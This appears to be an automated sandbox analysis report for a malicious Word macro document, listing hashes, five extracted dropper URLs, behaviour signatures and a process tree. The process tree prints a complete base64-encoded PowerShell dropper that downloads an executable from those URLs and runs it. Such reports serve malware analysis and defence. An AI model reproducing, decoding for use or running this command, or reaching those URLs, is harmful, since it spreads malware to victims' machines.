Analysis

  • max time kernel
    107s
  • max time network
    40s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 22:12

General

  • Target

    sample.doc

  • Size

    169KB

  • MD5

    408c1106ba8fdc3b76918eae19deaa5c

  • SHA1

    3a4fcfba0d27cc5e6d57881bdb246cae7313cb65

  • SHA256

    2ef95fd9c222a0b299b53659e79526a1281e9d076b75aafaedb447034237ba36

  • SHA512

    5dbf0e4321ba384d004d33c107043274c73dbbfd70e26cd41ca99ea40b5393c529a5233cba5505040c5146339cb47f1ef366608c7a3a2de0fb91af557f1ea485

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:848

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/532-87-0x0000000000000000-mapping.dmp
    • memory/848-81-0x000007FEFC3A1000-0x000007FEFC3A3000-memory.dmp
      Filesize

      8KB

    • memory/848-86-0x00000000027BB000-0x00000000027DA000-memory.dmp
      Filesize

      124KB

    • memory/848-85-0x000000001B980000-0x000000001BC7F000-memory.dmp
      Filesize

      3.0MB

    • memory/848-83-0x000007FEF34C0000-0x000007FEF401D000-memory.dmp
      Filesize

      11.4MB

    • memory/848-84-0x00000000027B4000-0x00000000027B7000-memory.dmp
      Filesize

      12KB

    • memory/848-82-0x000007FEF4020000-0x000007FEF4A43000-memory.dmp
      Filesize

      10.1MB

    • memory/1660-70-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-80-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-74-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-75-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-76-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-73-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-77-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-78-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-79-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-71-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-72-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-54-0x0000000072E91000-0x0000000072E94000-memory.dmp
      Filesize

      12KB

    • memory/1660-69-0x00000000059EC000-0x00000000059F5000-memory.dmp
      Filesize

      36KB

    • memory/1660-58-0x0000000075F21000-0x0000000075F23000-memory.dmp
      Filesize

      8KB

    • memory/1660-57-0x00000000718FD000-0x0000000071908000-memory.dmp
      Filesize

      44KB

    • memory/1660-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1660-55-0x0000000070911000-0x0000000070913000-memory.dmp
      Filesize

      8KB

    • memory/1660-89-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB